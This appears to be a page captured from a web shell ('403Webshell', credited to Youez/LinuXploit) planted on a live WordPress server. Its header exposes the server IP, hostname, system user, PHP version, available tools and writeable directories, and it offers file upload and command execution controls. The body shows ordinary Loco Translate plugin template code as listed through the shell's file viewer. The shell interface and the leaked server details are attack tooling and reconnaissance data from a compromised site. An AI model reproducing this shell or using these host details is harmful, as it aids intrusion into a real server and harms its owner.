403Webshell
Server IP : 91.134.83.25  /  Your IP : 216.73.216.147
Web Server : Apache
System : Linux plesk.serveurapc.fr 6.1.0-51-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.177-1 (2026-07-16) x86_64
User : marrasse ( 10057)
PHP Version : 8.2.32
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/vhosts/as-cp.fr/wpascp/wp-content/plugins/loco-translate/tpl/admin/file/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhosts/as-cp.fr/wpascp/wp-content/plugins/loco-translate/tpl/admin/file/info.php
<?php
/**
 * File information for any type of file. Extended by specific views for supported types
 */
$this->extend('../layout');
$this->block('header');
/* @var Loco_mvc_FileParams $file */
?> 

    <?php
    if( ! $file->existent ):?> 
    <div class="panel panel-error">
        <h3 class="has-icon">
            <?php esc_html_e("File doesn't exist",'loco-translate')?> 
        </h3>
        <p>
            <code><?php $file->e('relpath')?></code>
        </p>
    </div><?php
    // let security settings override actual writeable state
    elseif( $file->denied ):?> 
    <div class="panel panel-locked">
        <h3 class="has-icon">
            <?php esc_html_e('Write access denied','loco-translate')?> 
        </h3>
        <p>
            <?php $file->e('denied')?>.
        </p>
    </div><?php
    elseif( $file->writable ):?> 
    <div class="panel panel-success">
        <h3 class="has-icon">
            <?php // Translators: Where %s is the type of file, e.g. "po"
            self::e( __('%s file is writeable','loco-translate'), $file->type )?> 
        </h3>
        <p>
            <?php esc_html_e('You can update these translations directly from the editor to the file system','loco-translate')?>.
        </p>
        <p>
            <code><?php $file->ls()?></code>
        </p>
    </div><?php
    // else file is unwriteable via PHP, but not denied by security settings.
    else:?> 
    <div class="panel panel-locked">
        <h3 class="has-icon">
            <?php esc_html_e('Write protected','loco-translate')?> 
        </h3>
        <p>
            <?php esc_html_e("This file can't be updated directly by the web server",'loco-translate')?>.
        </p>
        <p>
            <?php // Translators: Where %s is the name (or number) of an operating system user
            self::e( __("To make changes you'll have to connect to the remote file system, or make the file writeable by %s",'loco-translate'), $params->httpd )?>.
        </p>
        <p>
            <code><?php $file->ls()?></code>
        </p>
    </div><?php
    endif;

    if( ! $dir->existent ):?> 
    <div class="panel panel-error">
        <h3 class="has-icon">
            <?php esc_html_e("Directory doesn't exist",'loco-translate')?> 
        </h3>
        <p>
            <?php // Translators: "either" meaning that the file itself can't exist without a containing directory
            esc_html_e("The containing directory for this file doesn't exist either",'loco-translate')?>.
        </p>
        <p>
            <code><?php $dir->e('relpath')?></code>
        </p>
    </div><?php
    elseif( $dir->writable ):?> 
    <div class="panel panel-success">
        <h3 class="has-icon">
            <?php esc_html_e('Directory is writeable','loco-translate')?> 
        </h3>
        <p>
            <?php // Translators: Where %s is the name (or number) of an operating system user
            self::e( __('The containing directory is writeable by %s, so you can add new files in the same location','loco-translate'), $params->httpd )?>.
        </p>
        <p>
            <code><?php $dir->ls()?></code>
        </p><?php
        if( ! $file->deletable ):?> 
        <p>
            <span class="has-icon icon-warn"></span>
            <?php esc_html_e('Note that the file may not be deletable due to additional ownership permissions','loco-translate')?>.
        </p><?php
        endif;?> 
    </div><?php
    // indicate that directory is unwriteable via file system, unless file is blocked
    elseif( ! $file->denied ):?> 
    <div class="panel panel-locked">
        <h3 class="has-icon">
            <?php esc_html_e('Write protected directory','loco-translate')?> 
        </h3>
        <p>
            <?php esc_html_e("This directory can't be written to directly by the web server",'loco-translate')?>.
        </p>
        <p>
            <?php // Translators: Where %s is the name (or number) of an operating system user
            self::e( __("To create new files here you'll have to connect to the remote file system, or make the directory writeable by %s",'loco-translate'), $params->httpd )?>.
        </p>
        <p>
            <code><?php $dir->ls()?></code>
        </p>
    </div><?php
    endif;
    
    if( $file->autoupdate ):?> 
    <div class="panel panel-info">
        <h3 class="has-icon"><?php 
            esc_html_e('WordPress updates','loco-translate')?> 
        </h3>
        <p><?php 
            esc_html_e("Files in this location can be modified or deleted by WordPress automatic updates",'loco-translate')?>.
            <a target="_blank" href="<?php 
                echo esc_url( apply_filters('loco_external','https://localise.biz/wordpress/plugin/faqs/files-deleted') )?>"><?php
                esc_html_e("What's this?",'loco-translate');
            ?></a>
        </p>
    </div><?php
    endif;

    if( $params->has('debug') ):?> 
    <div class="panel panel-debug">
        <h3 class="has-icon">Developer notes</h3>
        <div><?php
        foreach( $debug as $prop => $raw ):?> 
        <p><?php $debug->e($prop)?></p><?php
        endforeach?> 
    </div><?php
    endif;

Youez - 2016 - github.com/yon3zu
LinuXploit